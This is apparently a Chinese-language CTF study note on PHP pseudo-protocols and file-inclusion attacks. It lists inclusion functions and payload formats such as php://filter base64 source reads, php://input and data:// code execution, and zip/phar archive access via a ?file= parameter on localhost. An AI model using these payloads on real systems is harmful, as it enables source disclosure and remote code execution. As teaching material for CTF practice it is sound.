伪协议

php伪协议

我们在ctf中可能遇到的包含函数

1
2
3
4
5
6
7
8
9
10
11
include( )
require( )
include_once( )
require_once( )
highlight_file( )
show_source( )
readfile( )
file_get_contents( )
fopen( )
file( )

PHP伪协议其实就是支持的协议和封装协议,有12种:

1
2
3
4
5
6
7
8
9
10
11
12
file:// ——访问本地文件
http://——访问HTTP(s)网址
ftp://——访问FTP(s)URLs
php://——访问各个输入或输出流(I/O streams)
zlib://——压缩流
data://——数据(RFC2397)
glob://——查找匹配的文件路径模式
phar://——PHP归档
ssh2://——Secure Shell2
rar://——RAR
ogg://——音频流
expect://——处理交互的流

file://

file://用于读取本地文件,不受allow_url_fopen和allow_url_include影响

file://[文件的绝对路径和文件名]

1
2
http://127.0.0.1/index.php?file=file://D:/soft/xiaocheng.txt

[文件的相对路径和文件名]

1
2
http://127.0.0.1/index.php?file=./xioacheng.txt

http://网络路径和文件名

1
2
http://127.0.0.1/xioacheng.txt

php://

php://用于访问各个输入/输出流(I/O streams),不受allow_url_fopen影响

1
2
3
php://filter 用于读取源码
php://input 用于执行php代码

使用上面两种格式的php伪协议格式时,需要allow_url_include是on

常用php://filter读取文件源码的格式(针对php文件需要base64编码):

1
2
php://filter/read=convert.base64-encode/resource=[文件名](如果文件内容非php语法,则输出源码内容,如果是php语法,则执行php代码)

常用php://input执行php代码的格式(输入的php代码部分需要post提交)

1
2
php://input[POST DATA]<?php phpinfo(); ?>

zip://协议&bzaip2://协议&zlib://协议

zip://协议&bzaip2://协议&zlib://协议都属于压缩流,可以用来访问压缩文件中的子文件,而且不需要指定文件名后缀,可修改为任意后缀

zip://[压缩文件的绝对路径]%23[压缩文件内的子文件名](#编码%23)

1
2
zip://D:\www\xiaocheng.zip%23cheng.txt

compress.bzip2://file.bz2压缩xiaocheng.txt为xiaocheng.bz2并上传(同样支持任意后缀名)

1
2
compress.bzip2://D:\www\xioacheng.bz2

compress.zlib://file.gz压缩xiaocheng.txt为xiaocheng.gz并上传(同样支持任意后缀名)

1
compress.zlib://D:\www\xiaocheng.gz

data://协议

data://协议可以执行php代码,但是需要allow_url_include和allow_url_fopen是on的,也可以写入文本数据

data://协议常用的格式:

1
data://text/plain,<?php phpinfo(); ?>

其它格式:

1
2
3
4
5
6
7
8
9
10
11
12
data://,<文本数据>

data://text/plain,<文本数据>

data://text/html,<html代码>

data://text/css,<CSS代码>

data://text/javascript,<js代码>

data://text/gif;base24,<base24编码的gif图片数据>

phar://协议

phar://协议可以访问zip格式压缩包内容

1
http://127.0.0.1/index.php?file=phar://D:\www\xiaocheng.zip\xioacheng.txt

详细请看:https://segmentfault.com/a/1190000018991087
https://www.jianshu.com/p/2fce6931dd06